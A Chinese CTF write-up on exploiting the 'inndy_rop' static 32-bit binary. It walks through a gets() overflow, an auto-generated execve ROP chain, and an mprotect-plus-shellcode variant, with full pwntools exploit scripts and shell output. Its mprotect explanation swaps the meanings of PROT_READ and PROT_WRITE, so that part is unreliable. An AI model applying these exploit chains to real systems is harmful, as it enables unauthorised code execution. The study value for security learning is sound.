inndy_rop--mprotect函数

checksec

matrix@ubuntu:~/PWN/BUU$ checksec rop
[*] '/home/matrix/PWN/BUU/rop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    只有NX开启
./rop
asdassssssssssssssss
Segmentation fault (core dumped)

IDA

_BYTE *overflow()
{
  char v1; // [esp+Ch] [ebp-Ch]

  return gets(&v1);
}

刚打开IDA就被一大堆函数给吓到了,这应该就是静态编译的程序所以程序不会调用libc库,直接在二进制文件中实现函数。

$file rop
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, statically 静态编译

静态编译我之前也就听过而已,这是第一次遇到,没办法就去看大佬的文章了。

Ropgadget –ropchain 直接利用程序中的片段拼凑rop链。

ROPgadget –binary rop –ropchain

ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

    [+] Gadget found: 0x8050cc5 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret
    [+] Gadget found: 0x8048433 pop esi ; ret
    [+] Gadget found: 0x8048480 pop edi ; ret
    [-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r'

    [+] Gadget found: 0x805466b mov dword ptr [edx], eax ; ret
    [+] Gadget found: 0x806ecda pop edx ; ret
    [+] Gadget found: 0x80b8016 pop eax ; ret
    [+] Gadget found: 0x80492d3 xor eax, eax ; ret

- Step 2 -- Init syscall number gadgets

    [+] Gadget found: 0x80492d3 xor eax, eax ; ret
    [+] Gadget found: 0x807a66f inc eax ; ret

- Step 3 -- Init syscall arguments gadgets

    [+] Gadget found: 0x80481c9 pop ebx ; ret
    [+] Gadget found: 0x80de769 pop ecx ; ret
    [+] Gadget found: 0x806ecda pop edx ; ret

- Step 4 -- Syscall gadget

    [+] Gadget found: 0x806c943 int 0x80

- Step 5 -- Build the ROP chain  #这里可以直接复制过去做payload了

    #!/usr/bin/env python2
    # execve generated by ROPgadget

    from struct import pack

    # Padding goes here
    p = ''

    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += '/bin'
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea064) # @ .data + 4
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += '//sh'
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481c9) # pop ebx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080de769) # pop ecx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret

EXP

from pwn import*
from struct import pack
context.log_level = 'debug'

elf = ELF('rop')

sh = process('./rop')
sh = remote('node3.buuoj.cn',26186)

p = 'A'*0x10
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

sh.sendline(p)

sh.interactive()

结果:

[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x7 bytes:
    'matrix\n'
matrix
$  

从这里学到一个新方法:https://www.yuque.com/u239977/cbzkn3/sam1zw 并再次膜拜大佬

mprotect函数:
原型:int mprotect(const void *start, size_t len, int prot)
参数解释:
start:需改写属性的内存中开始地址
len:需改写属性的内存长度
prot:需要修改为的指定值
功能: mprotect()函数可以用来修改一段指定内存区域的保护属性。 他把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。 prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
注意:指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
prot=7 是可读可写可执行
从IDA中可以搜到 这个函数的存在。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x80e9000 r-xp    a1000 0      /home/matrix/PWN/BUU/rop
 0x80e9000  0x80eb000 rw-p     2000 a0000  /home/matrix/PWN/BUU/rop  (data)
 0x80eb000  0x810f000 rw-p    24000 0      [heap]
0xf7ff9000 0xf7ffc000 r--p     3000 0      [vvar]
0xf7ffc000 0xf7ffe000 r-xp     2000 0      [vdso]
0xfffdd000 0xffffe000 rw-p    21000 0      [stack]
pwndbg> 
从vmmap可以知道0x80e9000  0x80eb000  data段可读可写,所以利用这个mprotect函数再加一个可执行

然后read函数读取shellcode到这里即可

EXP~

from pwn import*
context.log_level = 'debug'
context(os='linux',arch='i386')
elf = ELF('rop')
read_addr = elf.symbols['read']
mprotect = elf.symbols['mprotect']
data_addr = 0x080e9000
pop3_ret = 0x0804ef14

shellcode = asm(shellcraft.sh())

sh = process('./rop')
#sh = remote('node3.buuoj.cn',26186)
payload = 'A'*0xc + p32(0xdeadbeef)
payload += p32(mprotect) + p32(pop3_ret) + p32(data_addr) + p32(0x200) + p32(0x7)
payload += p32(read_addr) + p32(pop3_ret) + p32(0) + p32(data_addr) + p32(0x200) + p32(data_addr)
#gdb.attach(sh)
sh.sendline(payload)
sh.sendline(shellcode)

sh.interactive()

结果:

[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x25 bytes:
    'cat: flag: No such file or directory\n'
cat: flag: No such file or directory
$  

  转载请注明: Squarer inndy_rop--mprotect函数

  目录